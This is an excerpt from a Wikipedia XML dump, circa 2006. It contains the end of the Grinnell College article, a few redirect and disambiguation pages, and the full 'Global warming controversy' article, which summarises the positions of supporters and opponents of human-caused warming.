In a fashion much like an [[ice hockey]] match, &quot;The System&quot; incorporates constant full-court press, continual running, hard rebounding, near constant three-point shots and repeated substitutions of entire squads.  &quot;The System&quot; has received criticism as &quot;bastardizing&quot; the game and not teaching the principles of defense or the short shot.  However, under &quot;The System,&quot; Grinnell has won numerous championships over the last 5 years, as well as broken numerous NCAA individual and team scoring records.

==Social Activities and Organizations==

The [[Scarlet and Black]] is the campus newspaper and [http://kdic.grinnell.edu KDIC] broadcasts college radio.

Service organizations are popular.  The Alternative Break (&quot;AltBreak&quot;) program takes students to pursue service initiatives during school holidays and Grinnell produces more [[Peace Corps]] volunteers per capita than any other college in the nation.  The college also runs its own post-graduation service program known as &quot;Grinnell Corps&quot; in [[China]], [[Namibia]], [[Lesotho]], [[Greece]], and [[Nepal]].

There are also a number of student groups on campus. These include everything from video game clubs to a Family Guy appreciation group. In addition, there are a number of musical groups on campus, including the all-male a cappella group, the [[G-Tones]].

Social activities tend to be informal and centered around campus, but several major campus-wide events take place each year.  10/10 is a &quot;campus-unity&quot; themed party that takes place on October 10th and features an all-campus shot at midnight.  &quot;Mary B. James,&quot; named for a South Campus dormitory, is a popular cross-dressers' ball.  There is an annual &quot;Disco&quot; celebration and two formal &quot;waltzes&quot; are held each year.  Another significant party is &quot;Block Party,&quot; in which the block on High Street directly south of campus is closed off on the last day of finals and a beer truck arrives at 11 am.  Students proceed to take several beers to the face while sitting in the street playing drinking games.

Grinnell College is one of several liberal arts colleges that have an active campus-wide [[blogosphere]] community. The system used at Grinnell is an unofficial service known as [[GrinnellPlans]]. Membership is limited to students, faculty, and alumni.

== Myths and legends ==

Like most colleges, a large body of myths has accumulated over the years.  

One of the most persistent was the notion that the Quad Dining Hall, with its high ceiling, dark wood paneled walls, and stained glass windows, was supposed to be a church.  The legend claims that money was bequeathed to the college to build a chapel, but the college needed a dining hall, so it built something that could be used as either.  The Legend of Quad (which was actually built to look like a dining hall at Oxford College) -- complete with details such as an annual carrying-in of pews for a church service -- was born.

In the early 80's the Campus had several meetings over the hiring of a football coach who actually wanted to win games, and also the restoration, after many, many years, of a female cheerleading squad. Grinnell students at the time wanted none of that.

Another story, apparently started in the late 80s, was that the football coach was fired after being denounced in the student newspaper &quot;for winning too many games.&quot;  The Scarlet and Black's editors were concerned about what they perceived as an over-emphasis on athletics compared to academics, but the coach in question was not actually fired.

Another myth involves the idea that there are three (and only three) things that will result in instant expulsion from the school irrelevant of any other factor.  Exactly what the three things are varies somewhat -- the most commonly mentioned offenses are jumping a ride on a train passing through campus, entering the steam tunnels, and gaining access to the roof of an academic building.

==Prominent alumni==
* [[Benjamin Barber]], political theorist
* [[Nordahl Brue]], lawyer/entrepreneur, founder of [[Bruegger's Bagels]]
* [[Thomas R. Cech]], Nobel Laureate chemist, president of the [[Howard Hughes Medical Institute]]
* [[Amy Clampitt]], poet
* [[Tom Cole]], U.S. Congressman (2002-present)
* [[Mary Sue Coleman]], President of the University of Michigan
* [[Gary Cooper]], actor
* [[Peter Coyote]], actor
* [[Hallie Flanagan]], playwright, educator, and director of the [[Federal Theater Project]]
* [[John Garang]], former leader of the [[Sudan People's Liberation Army]] and former vice president of [[Sudan]]
* [[James Norman Hall]], author
* [[Herbie Hancock]], jazz musician and composer
* [[Edward Hirsch]], poet
* [[Harry Hopkins]], [[WPA]] administrator and architect of the [[New Deal]]
* [[William S. Kenyon]], politician, U.S. Senator (1911-1922)
* [[Walter Koenig]], actor
* [[George Moose]], diplomat
* [[Robert Noyce]], co-founder of [[Intel]], co-inventor of [[integrated circuit]]
* [[Clair Patterson]], geochemist and environmentalist
* [[Morgan Taylor]], Olympic track and field medalist
* [[Otha Wearin]], politician, U.S. Congressman (1933-1939)
* [[Joseph Welch]], attorney who represented the U.S. Army in [[Army-McCarthy Hearings]] 
* [[Alan Wheat]], politician, U.S. Congressman (1983-1995)

==GrinnellPlans virtual community==
[[GrinnellPlans]] is a [[virtual community]] consisting of 2,840 members as of February 2006 ([http://www.grinnellplans.com/sandbox/wellons/ source]).  Most members are current students or alumni, but faculty, staff members, and (by invitation) other friends of the College have also joined.

==External links==
*[http://www.grinnell.edu/ Grinnell College Homepage]
*[http://www.grinnellplans.com/ Grinnell Plans System]. Documentation at  [http://docs.grinnellplans.com/]
*[http://www.grinnellgallery.com/ Grinnell Gallery]
*[http://groups.myspace.com/grinnellcollegestudents/ Grinnell College Student/Alumni MySpace Group]
*[http://www.livejournal.com/community/grinnellians/ Grinnell College Livejournal Community]

[[Category:Universities and colleges in Iowa]]
[[Category:Liberal arts colleges]]
[[Category:Associated Colleges of the Midwest]]

[[bg:&amp;#1043;&amp;#1088;&amp;#1080;&amp;#1085;&amp;#1077;&amp;#1083;&amp;#1089;&amp;#1082;&amp;#1080; &amp;#1082;&amp;#1086;&amp;#1083;&amp;#1077;&amp;#1078;]]</text>
    </revision>
  </page>
  <page>
    <title>Geoff Ryman/253</title>
    <id>13106</id>
    <revision>
      <id>15910741</id>
      <timestamp>2003-05-23T10:11:32Z</timestamp>
      <contributor>
        <username>G</username>
        <id>8338</id>
      </contributor>
      <comment>redirect from subpage</comment>
      <text xml:space="preserve">#Redirect [[253 (book)]]</text>
    </revision>
  </page>
  <page>
    <title>Gorbachev</title>
    <id>13107</id>
    <revision>
      <id>15910742</id>
      <timestamp>2002-09-09T22:43:30Z</timestamp>
      <contributor>
        <username>Ed Poor</username>
        <id>188</id>
      </contributor>
      <comment>redirect Mikhail Gorbachev</comment>
      <text xml:space="preserve">#REDIRECT [[Mikhail Gorbachev]]</text>
    </revision>
  </page>
  <page>
    <title>Glendower</title>
    <id>13108</id>
    <revision>
      <id>18890891</id>
      <timestamp>2005-07-15T14:29:11Z</timestamp>
      <contributor>
        <username>PedanticallySpeaking</username>
        <id>91656</id>
      </contributor>
      <comment>shandon in ohio</comment>
      <text xml:space="preserve">*'''[[Owen Glendower]]''', medieval Welsh nobleman
*'''[[The Glendower (whiskey)|The Glendower]]''', a brand of Scotch [[whisky]]
*'''[[Glendower State Memorial]]''', a historical [[house]] in [[Lebanon, Ohio]]
*[[Shandon, Ohio|Glendower, Ohio]]--The original name of a town in [[Morgan Township, Butler County, Ohio]], now called [[Shandon, Ohio]].

{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>Global warming controversy</title>
    <id>13109</id>
    <revision>
      <id>41773184</id>
      <timestamp>2006-03-01T17:21:33Z</timestamp>
      <contributor>
        <username>Vsmith</username>
        <id>84417</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/166.113.26.214|166.113.26.214]] ([[User talk:166.113.26.214|talk]]) to last version by 216.226.127.190</comment>
      <text xml:space="preserve">The '''global warming controversy''' is an ongoing dispute about the effects of humans on the global climate and the policies that should be followed to avoid future effects. Although not fully settled, the current [[scientific opinion on climate change]] is that recent warming is largely human-caused.

This article is about that controversy.  The description and scientific explanation of [[global warming]] is spread over several articles:
*The basic scientific description is in [[greenhouse effect]] and [[global warming]].
*Past climate behavior is in [[historical temperature record]], [[temperature record of the past 1000 years]], and [[satellite temperature record]].
*Causes of recent climate trends are in [[attribution of recent climate change]].

__TOC__
==Overview==
Leaving the realm of scientific journals, the debate has spilled out into the public arena, with some politicians making the issue a component of their campaigns for high office.  One example of this is [[2000]] [[President of the United States|U.S. presidential]] candidate [[Al Gore]], author of ''[[Earth in the Balance]]''. Global warming is a more central and sustained issue, however, for the [[European Union|EU]]. In fact, both 'global warming' and the more politically neutral 'climate change' were listed in the  political buzzwords or catchphrases of 2005. [http://www.LanguageMonitor.com]

Much about global warming theories is controversial, particularly whether there exists a [[scientific consensus]] sufficient to justify concerted international action to ameliorate its effects (see '''[[Kyoto Protocol]]''').

Proponents of global warming theory express a wide range of opinions. Some merely recognize the validity of the observed increases in temperature. Others support measures such as the [[Kyoto Protocol]] that are intended to have some near-future climate effects and to lead eventually to further measures. Others believe that the environmental damage will have such severe impact that immediate steps must be taken to reduce CO&lt;SUB&gt;2&lt;/SUB&gt; emissions, regardless of the economic costs to advanced nations such as the United States (which has the largest emissions of greenhouse gases of any country in absolute terms, and the second largest emissions per capita after Australia [http://www.tai.org.au/Publications_Files/DP_Files/Dp66sum.pdf]).

Critics of the global warming theory similarly offer a wide spectrum of opinions. Some, such as [[Patrick Michaels]], propose that human influence has warmed the atmosphere yet dispute the conclusion of the [[Intergovernmental Panel on Climate Change|IPCC]] TAR, which says &quot;[t]here is new and stronger evidence that most of the warming observed over the last 50 years is attributable to human activities&quot;. Others point out that observations of global temperatures over much larger time spans, thousands of years rather than decades, show global temperatures fluctuated wildly in the past long before the introduction of human industrial activity such as the [[industrial revolution]].  An additional assertion of many critics is that it is not possible to ascertain any definitive global temperature trend from the limited temperature record often cited. Other scientists theorize that global temperature change may be induced by natural causes, such as [[volcanism]] and [[solar activity]].

The above paragraphs might give the impression that belief in the course of past climate change correlates strongly with advocacy for future actions: this is not necessarily so. It is possible, perhaps common, to study the past record and give no counsel on the future.

==Controversial issues==
The controversy is made up of separate issues relating to global warming which are sometimes mixed together by proponents of one view or another.
#Whether the climate is changing beyond natural variations ([[historical temperature record]]).
#Whether human/industrial activity is responsible for the change ([[attribution of recent climate change]]).
#How large future changes will be.
#What will be the consequences of climate change.
#What are the best responses to climate change.
#Whether decisions require less uncertainty.

Much of the discussion centers on the effect of emissions of [[carbon dioxide]] related to human activity ranging from burning fossil-fuels to industrial activity. But this alone would be a scientific argument confined to the scientific press. The point that leads to major controversy&amp;mdash;because it could have significant economic impacts&amp;mdash;is whether action (usually, restrictions on the use of [[fossil fuel]]s to reduce carbon dioxide emissions) should be taken now or in the near future and whether those restrictions would have any meaningful effect on global temperature.  

Because of the economic ramifications of such restrictions, there are those who feel strongly that, even if global warming is caused solely by the burning of fossil fuels, restricting their use would have more damaging effects on the world economy than the increases in global temperature. In contrast, others feel strongly that early action to reduce emissions would help avoid much greater economic costs later and would reduce the risk of catastrophic, irreversible change.

==Scope of the controversy==
The controversy occurs almost entirely within the press and political arenas.  In the scientific press and among climate researchers, there is little controversy about global warming, only a desire to investigate a scientific problem and possible consequences. As [[Kevin E. Trenberth]] writes:

:''In 1995 the IPCC assessment concluded that &quot;the balance of evidence suggests that there is a discernible human influence on global climate&quot;.  Since then the evidence has become much stronger ... Thus the headline in IPCC (2001) is &quot;There is new and stronger evidence that most of the warming observed over the last 50 years is attributable to human activities&quot;... While some changes arising from global warming are benign or even beneficial, the economic effects of the weather extremes are substantial and clearly warrant attention in policy debates... Consequently, there is a strong case for slowing down the projected rates of climate change from human influences.'' [http://www.cgd.ucar.edu/cas/GLOB_CHANGE/ipcc2001.html]

Trenberth also provides evidence for the controversy that occurs when science meets the political arena:

:''The [[Summary for policymakers|SPM]] was approved line by line by governments...  The argument here is that the scientists determine what can said,'' [sic] ''but the governments determine how it can best be said.  Negotiations occur over wording to ensure accuracy, balance, clarity of message, and relevance to understanding and policy.  The IPCC process is dependent on the good will of the participants in producing a balanced assessment.  However, in Shanghai, it appeared that there were attempts to blunt, and perhaps obfuscate, the messages in the report, most notably by Saudi Arabia.  This led to very protracted debates over wording on even bland and what should be uncontroversial text...  The most contentious paragraph in the IPCC (2001) SPM was the concluding one on attribution.  After much debate the following was carefully crafted: &quot;In the light of new evidence, and taking into account the remaining uncertainties, most of the observed warming over the last 50 years is likely to have been due to the increase in greenhouse gas concentrations.&quot;'' [http://www.cgd.ucar.edu/cas/GLOB_CHANGE/ipcc2001.html]

Critics of GWT and/or the IPCC point out that the majority of the temperature change has occurred before the majority of the carbon dioxide has been released into the atmosphere.

The arguments over global warming are viewed differently in different parts of the world.  In [[Europe]] for example global warming has gained wider acceptance than in other parts of the world, most notably the [[United States]].

==Points made by supporters of the global warming theory==
Supporters of the global warming theory assert that:

*the recent rise in [[carbon dioxide]] and other [[greenhouse gases]] is human-caused
*the [[historical temperature record]] shows a rise of 0.4-0.8 &amp;deg;C over the last 100 years.
*the [[urban heat island]] effect makes no significant contribution.
*the current warmth is unusual in the past 1000 years (see [[Temperature record of the past 1000 years]]).
*the warming of the last 50 years is likely caused by human activity (see [[attribution of recent climate change]]), using analysis based on climate modeling; and that natural variability or [[solar variation]] cannot explain the recent change.
*Carbon dioxide is a first order forcing on climate change - other effects such as water vapour greenhouse effects are either roughly constant over time, act as amplifiers, or do not have a large effect
*humankind is performing a great geophysical experiment and if it turns out badly - however that is defined - we cannot undo it. We cannot even abruptly turn it off. Too many of the things we are doing now have long-term ramifications for centuries into the future [http://www.cgd.ucar.edu/cas/GLOB_CHANGE/trenberth.html].
*[[climate model]]s can reproduce this trend, but only when using [[greenhouse gas]] forcing. [http://www.cgd.ucar.edu/cas/GLOB_CHANGE/ipcc2001_figs/fig3.gif]
*climate models predict more warming, and other climate effects ([[sea level rise]], etc) in the future.
*action should be taken now to prevent or mitigate warming (see [[Precautionary principle]]).
*the [[IPCC]] reports correctly summarise the state of climate science.
*there is a [[scientific consensus]] behind all of the above.

Opponents of GWT maintain some or all of these assertions are not proven or not correct.

Proponents of global warming tend to support the IPCC position and thus represent a broadly unified viewpoint, though with considerable differences over what action should be taken. Optionally, supporters may go on to point out that there is a good chance that the future changes may be undesirable, and that planning to avoid or mitigate them would be a good idea.

Participation in the IPCC process does not imply endorsement of it. However, only 2 of the 120 contributing authors to the IPCC [[TAR (IPCC)|TAR]] are known to have voiced any complaint.

===Supporters of the global warming theory===
Organisations that support the global warming theory (or at least that have issued supportive declarations) include:
*The UN's [[Intergovernmental Panel on Climate Change]] (IPCC).
*The national academies of science of the [[G8]] countries and [[Brazil]], [[China]] and [[India]] [http://www.royalsoc.ac.uk/document.asp?latest=1&amp;id=3222].
*The US [[National Academy of Sciences]], both in its 2002 report to President [[George W. Bush]], and in its latest publications, has strongly endorsed evidence of an average global temperature increase in the 20th century and stated that human activity is heavily implicated in causing this increase.
*The [[American Meteorological Society]] ([http://www.ametsoc.org/policy/climatechangeresearch_2003.html AMS statement]).
*The [[American Geophysical Union]] ([http://www.agu.org/sci_soc/policy/climate_change_position.html AGU statement]). John Christy, who is usually placed in the skeptics camp, has signed the AGU statement on climate change.
*The [[American Association for the Advancement of Science]] (AAAS). [http://www.ourplanet.com/aaas/pages/atmos02.html]

==Points made by opponents of the global warming theory==

There are many reasons given for opposition to the global warming theory:

*IPCC draws firm conclusions unjustified by the science, especially given the acknowledged weakness of cloud physics in the climate models.  For example, even those who accept that there is a warming trend point out that there is a big difference between [[correlation]] and [[causality]].  In other words, just because temperatures have generally been rising since the beginning of the [[Industrial Revolution]], that doesn't necessarily mean that the Industrial Revolution has caused the change in temperature (see [[post hoc, ergo propter hoc]] argument).  On the other hand, the period since the beginning of the Industrial Revolution has indeed produced ever-growing &quot;urban heat islands&quot; (see below) that could be skewing temperature measurements that indicate the recent warming.
*Using &quot;consensus&quot; as evidence is an [[appeal to the majority]] argument rather than scientific discussion (see [[consensus science]]).  Ergo, because the issue has become so politicized, it is suspected that climatologists who disagree with the consensus as it is may be afraid to speak out for fear of losing their positions or funding.
*Consensus is further compromised in this field of study due to students being attracted to the field by their belief that something should be done about global warming.  They complete their education and add their voices to the consensus, which gives a perceived bias.
*Earth's climate has been both colder and warmer than today, and these changes are adequately explained by mechanisms that do not involve human greenhouse gas emissions.
*There is no significant global warming relative to the expected natural trends.
*CO&lt;sub&gt;2&lt;/sub&gt; in the atmosphere is mainly volcanic in origin, accounting for  97% of the CO&lt;sub&gt;2&lt;/sub&gt; found in the atmosphere, most of which travels to the oceans.  Estimates at CO&lt;sub&gt;2&lt;/sub&gt;'s effectiveness as a greenhouse gas vary, but are generally around 10-100 times lower than water weight for weight, leaving a &quot;net&quot; greenhouse effect of man-made CO&lt;sub&gt;2&lt;/sub&gt; emissions at less than 1% [http://www.geocraft.com/WVFossils/greenhouse_data.html]
*Climate science can not make definitive predictions yet, since the computer models used to make these predictions are still evolving and do not yet take into account recently discovered feedback mechanisms.
*Climate models will not be able to predict the future climate until they can predict solar and volcanic activity.
*Some global warming studies have errors or have not been reproduced.
*Global temperatures are directly related to such factors as: [[sunspot]] activity  (an 11-year cycle).

Some opponents of global warming theory give more weight to data such as paleoclimatic studies, temperature measurements made from [[weather balloon]]s, and satellites which they claim show less warming than surface land and sea records, though early balloon records have been shown to be possibly erroneous due to mechanical design flaws in the sensors.

Opponents tend to define themselves in terms of opposition to the [[IPCC]] position. They generally believe that climate science is not yet able to provide us with solid answers to all the major questions about the global climate. 

Opponents frequently characterise supporters arguments as [[alarmist]] and premature, so as to emphasise what they perceive as the lack of scientific evidence supporting global warming scenarios.

Opponents also say that if global warning is real and man-made, no action need be taken now because:
*Future scientific advances or engineering projects will remedy the problem before it becomes serious and for less money.
*A small amount of global warming would be benign or even beneficial, as increased carbon dioxide would benefit plant life, thus potentially becoming profitable for agriculture world-wide.
*There is a distinct correlation between GDP growth and greenhouse gas emissions. A cutback in emissions might lead to a decrease in the rate of GDP growth.

===Opponents of the global warming theory===
Some of the most visible opponents of the global warming theory from within the climate/scientific community have been:
*[[Patrick Michaels]] from the Department of Environmental Services at the University of Virginia
*[[Robert Balling]] of Arizona State University
*[[Sherwood B. Idso]] of the U.S. Water Conservation Laboratory [http://www.uswcl.ars.ag.gov/]
*[[S. Fred Singer]], atmospheric physicist and professor emeritus of environmental sciences at the University of Virginia
*[[Richard Lindzen]] of [[Massachusetts Institute of Technology]].
*[[Ross McKitrick]]
*[[Frederick Seitz]] (anti-global warming treaties, accepts the temperature rise as real, but not yet properly explained)
*See also the [[List of scientists opposing global warming consensus]]

Some prominent opponents from outside the climate/science community have been:
*[[Petr Beckmann]] (anti-global warming treaties)
*[[Lester Hogan]] (anti-global warming treaties)
*[[Kary Mullis]], biochemist and inventor of [[PCR]]
*[[John Daly (skeptic)|John Lawrence Daly]] (now deceased)
*[[Andrey Illarionov]], former economic advisor to Russian president Vladimir Putin
*[[Michael Crichton]], science fiction author and critic of the politicization of science, Global Warming is an issue in his 2004 novel, [[State of Fear (novel)|State of Fear]]
*[[David Bellamy]], British environmental campaigner who has since ''decided to draw back from the debate on global warming''.

Some organisations were formed to further the opponents' views:
*[[Information Council on the Environment]] (defunct): Michaels, Balling and Idso all lent their names in 1991 to the scientific advisory panel of the Information Council on the Environment (ICE), an energy industry public relations group.
*[[Center for the Study of Carbon Dioxide and Global Change]]
*[[Science and Environmental Policy Project]], founded by S. Fred Singer.

==Counting experts / Petitions and attacks on them==
{{main|Scientific opinion on climate change}}

The proportion of scientists who support or oppose any of the global warming theories is a matter of controversy in its own right. Environmental groups, many governmental reports, and the non-US media often claim virtually unanimous support for the global warming theory from the scientific community. Some opponents maintain that it is the other way around, claiming that the majority of scientists either consider global warming &quot;unproven&quot; or even dismiss it altogether. Other opponents decry the dangers of [[consensus science]], which would imply that they do believe there is a consensus.

A [[2004]] essay in [[Science (journal)|Science]] [http://www.sciencemag.org/cgi/content/full/306/5702/1686] surveyed [[Abstract (summary)|abstracts]] of peer-reviewed research articles related to climate change.   It concluded that a scientific consensus in favor of the global warming theory exists.

Global warming skeptics dispute the claim that (or relevance of) a consensus of scientists supports the view of [[global warming]] presented by the IPCC, and say that even the IPCC report authors do not all support the reports. &lt;!-- Removed dead link - needs replacement? --&gt; However, of the 120 lead authors of the [[TAR]], only two are known to have complained. In fact, they say, the consensus of those who expend the effort to comment is moving in the opposite direction. Others dispute this. To support this claim, the website of S. Fred Singer's [[Science and Environmental Policy Project]] (SEPP) lists four separate petitions:
*The 1992 &quot;Statement by Atmospheric Scientists on Greenhouse Warming&quot; (&quot;...Such policy initiatives [those concerning the Earth Summit is scheduled to convene in Brazil in June 1992] derive from highly uncertain scientific theories. They are based on the unsupported assumption that catastrophic global warming follows from the burning of fossil fuels and requires immediate action. We do not agree.&quot;) [http://www.sepp.org/statment.html]
*The &quot;Heidelberg Appeal&quot; (also from 1992)
*Singer's own &quot;Leipzig Declaration on Global Climate Change&quot; (1995 and 1997)
*The &quot;Oregon Petition,&quot; which was circulated in 1998 by physicist Frederick Seitz.

According to SEPP associate Candace Crandall, these petitions show that &quot;the number of scientists refuting global warming is growing.&quot; [http://www.sepp.org/glwarm/ccwtltr.html] However, people who have examined the petitions challenge that conclusion, pointing out that:
#The 1992 &quot;Statement by Atmospheric Scientists&quot; is more than a decade old and only has 46 signers.
#The [[Heidelberg Appeal]] actually does not say anything about global warming.
#Most of the signers of the [[Leipzig Declaration]]s are non-scientists or lack credentials in the specific field of climate research.
#Many of the signers of the [[Oregon Petition]] are also non-scientists or lack relevant scientific backgrounds.
&lt;!-- Similar lists by supporters of global warming have received similar challenges. --&gt;

==Discussion of some of the points==
===Global warming and carbon dioxide===
One argument against anthropogenic global warming questions the contention that rising levels of [[carbon dioxide]] and other [[greenhouse gas]]es (GHGs) correlate with&amp;mdash;and thus have caused&amp;mdash;global warming. Proponents of the view that [[greenhouse gas]]es have caused recent global warming respond that correlation is not a significant part of the evidence. See [[attribution of recent climate change]].
[[Image:Vostok 420ky 4curves insolation.jpg|thumb|250px|420,000 years of ice core data from [[Vostok, Antarctica]] research station (present time at the left).]]
*Correlation is not causation. Indeed, studies of ice age temperature variations show carbon dioxide levels increasing ''after'' warming rather than before. [http://www.co2science.org/subject/c/summaries/co2climatehistory.htm], [http://cdiac.esd.ornl.gov/trends/co2/vostok.htm] This however assumes that current climate change can be expected to be like past climate change. While it is generally agreed that past (ice age) variations are timed by astronomical forcing; the current variations, of whatever size, are claimed to be timed by anthropogenic releases of CO2 (thus returning the argument to the importance of human CO2 emissions).
*Most warming during the past century took place before most carbon dioxide had been released.
*Between 1940 and 1970, global temperatures went down even though carbon-dioxide levels went up.

As noted above, [[climate model]]s are only able to simulate the temperature record of the past century when GHG forcing is included, which some insist strongly points to the importance of GHGs, as does [[attribution of recent climate change]].

===Urban heat islands===
{{main|Urban heat island}}

Global warming skeptics question the accuracy of the temperature records.  They say if the monitoring stations are located in more populated areas, they must be influenced by the increased heat generated by the city as a whole (known as the &quot;[[Urban heat island]] effect&quot;). Those who believe in the accuracy of the records point out their consistency with the unaffected marine record; the lack of a difference between the warmings observed in urban and rural areas; and various studies which have examined the records and found no bias.

===Global warming and solar activity===
{{main|Solar variation theory}}

Another point of controversy regarding [[anthropogenic global warming]] is the investigation of temperature correlations with the [[solar variation]]. This subject is a point of controversy between supporters and opponents of anthropogenic global warming.



===Beneficial or detrimental===
There is also disagreement on whether the effects of global warming will be beneficial or detrimental. Many researchers predict disastrous consequences for a warming of 1.5 to 7&amp;nbsp;°C. The UN's [[Intergovernmental Panel on Climate Change]] (IPCC) predicts such a warming is likely within the 21st century, unless severe measures are taken (see [[Kyoto Protocol]]).   

Other researchers feel that up to 1.5&amp;nbsp;°C of warming would increase crop yields and stabilize weather. Many of these doubt a larger warming is likely.  In response, some advocates of strong early measures (well beyond Kyoto) note that the belief in beneficial effects and the doubt that a large warming is possible should be independent if these conclusions were in fact neutrally derived from scientific research.

===An unstable world===
New findings have suggested that the earth's climate system is inherently unstable, and that global warming could thus precipitate non-linear sudden climate shifts, as have been discovered to have occurred within the earth's past.  Ocean circulation, believed to be the key to such climate shifts, has been observed to be slowing, causing alarm among oceanographers.  Some scientists fear that the [[Gulf Stream]], which conveys warm water from the [[Caribbean Sea]] across the [[Atlantic Ocean]] and is partly responsible for the relative mildness of northern Europe's climate (though other factors also predominate: [http://216.239.57.100/search?q=cache:OcOF6VQSvzEC:www.ofps.ucar.edu/joss_psg/meetings/clivar-atlantic/Seager.pdf+gulf+stream+responsible&amp;hl=en&amp;ie=UTF-8]), could be reduced or stopped altogether by the decreased salt content of sea water resulting from global warming. This could cause temperatures in northern Europe to drop.    

The US [[National Academy of Sciences]] issued a report on this phenomenon in 2002, titled ''Abrupt Climate Change - Inevitable Surprises''. [http://www.nap.edu/books/0309074347/html/] &quot;It is important not to be fatalistic about the threats posed by abrupt climate change,&quot; it stated. &quot;Societies have faced both gradual and abrupt climate changes for millennia and have learned to adapt through various mechanisms, such as moving indoors, developing irrigation for crops, and migrating away from inhospitable regions. Nevertheless, because climate change will likely continue in the coming decades, denying the likelihood or downplaying the relevance of past abrupt events could be costly.&quot;

===Kyoto Protocol===
Advocates of the global warming hypothesis who predict adverse consequences from as little as 1.5&amp;nbsp;°C of warming nearly all support the [[Kyoto Protocol]] as a countermeasure. &lt;!-- Others oppose it. --&gt;  Details of the agreement are in the article about the Kyoto Protocol, including both the pollution and fiscal requirements.

===Paradigms present===
The evaluation of importance of influences is affected by several [[paradigm]]s being used, with some specialties using some concepts as having more influence than others. Many of the apparent contradictions can be resolved by noting that different specialties may use different time and amplitude scales for various influences and concepts.
*The climate system has been in a steady state (e.g., during the [[Holocene]], i.e., the last 10 kyr).
*The climate system has had large variations (canonically, [[ice age]]s).    
*The climate system is dominated by internal processes.
*Large influences tend to have large effects.    
*The climate response to forcing is largely linear.    
*Internal processes exist which amplify otherwise small influences.    
*Conditions now are significantly different from those in the past.

==See also==
*[[Global cooling]]
*[[Greenhouse effect]]
*[[Scientific skepticism]]

==External links==
===Politics===
*Paul D. Thacker &quot;Environmental Science &amp; Technology, [[31 August]] [[2005]], [http://pubs.acs.org/subscribe/journals/esthag-w/2005/aug/business/pt_wsj.html &quot;How the Wall Street Journal and Rep. Barton celebrated a global warming skeptic&quot;]
*Mark Lynas, ''[[New Scientist]], [[25 June]] 2005, [http://www.marklynas.org/documents/30.shtml &quot;Get off the fence over global warming&quot;]
* [http://www.pbs.org/now/thisweek/index_012304.html Ode to Kyoto: The energy industry's stealth campaign to confuse the public and stop Kyoto] &amp;mdash; Broadcast [[23 January]] [[2004]] on [[Public Broadcasting Service|PBS]]' ''[[NOW with Bill Moyers]]'' ([[RealVideo]] format).
*[http://www.ecoresearch.net/election2004/report/sentence?s=109 Global Warming Media Analysis] &amp;mdash; US Election 2004 Web Monitor
*[http://www.earthisland.org/eijournal/spring98/sp98a_fe.htm The PR Plot to Overheat the Earth], analysis of industry efforts to discredit global warming science, by Bob Burton and Sheldon Rampton, published in the ''Earth Island Journal''.
*[http://www.environmentaldefense.org/go/paidskeptics Environmental Defence - Global Warming Skeptics: A Primer] &amp;mdash; How ExxonMobil funds scientists and media pundits to &quot;de-bunk&quot; the science of climate change
*[http://archive.greenpeace.org/climate/archive/kpresspack/debate.html Greenpeace: Industry And The Climate Debate]
*[http://www.opendemocracy.net/climate_change/ Open Democracy: The politics of climate change] &amp;mdash; Article series by scientists, activists and others, and global online debate
*New Scientist 2002, [http://www.newscientist.com/channel/earth/climate-change/mg17423392.400 Too hot for head of climate panel]
*[http://news.independent.co.uk/environment/article331083.ece What planet are you on, Mr Bush? (and do you care, Mr Blair?)]
*[http://pubs.acs.org/subscribe/journals/esthag-w/2005/aug/policy/pt_skeptics.html &quot;Skeptics get a journal&quot;] by Paul D. Thacker, Environmental Science &amp; Technology
*[http://www.giss.nasa.gov/edu/gwdebate/ Misusing figures about global warming in testimony to the United States Congress]

===Science===
*Committee on the Science of Climate Change, National Research Council, &quot;[http://books.nap.edu/books/0309075742/html/index.html Climate Change Science: An Analysis of Some Key Questions],&quot; (National Academies Press, 2001)
*[http://www.john-daly.com/index.htm Still Waiting For Greenhouse]
*[http://dmoz.org/Society/Issues/Environment/Climate_Change/ Climate Change] in the [[Open Directory Project]]
*[http://dmoz.org/Society/Issues/Environment/Opposing_Views/Climate_Change_Skeptics/ Climate Change Skeptics] in the Open Directory Project
*[http://www.junkscience.com/links/gwlinks.htm Junk Science: Global Warming links]
*[http://www.citizenreviewonline.org/special_issues/junk_science.htm Citizen Review: Junk Science Links]
*[http://www.climatechangedebate.org/debate_links.html Climate Change Debate: Links]
*[http://entropy.brneurosci.org/co2.html Cold Facts on Global Warming]
*[http://entropy.brneurosci.org/reviews/satanic.html Review: The Satanic Gases: Clearing the Air about Global Warming]
*[http://suppressednews.com/newsitems/local/AAyykVEupUMsWssrp.html Suppressed News: Junk Science Exploits Children]
*[http://www.greeningearthsociety.org/wca/2003/wca_5b.html Greening Earth Society: Free Speech for Me, Not For Thee]
*[http://www.aim.org/cgi-bin/aim/pubsearch.cgi?pubsec=allpubs&amp;pubyear=alldates&amp;words=global+warming&amp;x=45&amp;y=22 Accuracy In Media: Global Warming archives]
*[http://www.marshall.org/subcategory.php?id=9 Marshall Institute: Climate Change]
*[http://www.warwickhughes.com/climate/index.htm GLOBAL WARMING / A fraudulent notion based on corrupted data]
*[http://www.ecotrop.org/climate.html AntiEcohype: Climate Critical Commentaries]
*[http://muller.lbl.gov/TRessays/32-Global_Warming_Bombshell.htm &quot;A Global Warming Bombshell&quot;] by [[Richard A. Muller]], ''Technology Review'', Oct. 2004; calls into question famous graph by [[Michael Mann (scientist)|Michael Mann]]
*[http://www.climatechange.com.au/forum/ Climate Change Forum] Discuss issues to do with climate change, global warming and alternative energy with other enthusiastic individuals
*[http://www.pitt.edu/~gordonm/ A Public Debate on the Science of Global Warming]: Dr. James E. Hansen and Dr. Patrick J. Michaels, [[November 20]], [[1998]].
*[http://www.giss.nasa.gov/edu/gwdebate/ The Global Warming Debate]: Fundamental differences in opinion about climate change.
*{{Citenewsauthor | surname=Coren | given=Michael | title=The science debate behind climate change | date=[[8 April]] [[2005]] | org=CNN | url=http://www.cnn.com/2005/TECH/science/04/08/earth.science/index.html}}
**{{Citenewsauthor | surname=Pollard | given=Alison | title=Past may hold clues to climate's future | date=[[12 April]] [[2005]] | org=CNN | url=http://www.cnn.com/2005/TECH/science/04/08/earth.past.future/index.html}}
*{{cite journal
 | author=Roger Pielke, Jr., Daniel Sarewitz
 | title=Wanted: Scientific Leadership on Climate
 | journal=Issues in Science and Technology
 | volume=19 | issue=2 | year=2002 | pages=27-30
 | url=http://www.issues.org/issues/19.2/p_pielke.htm
 }}
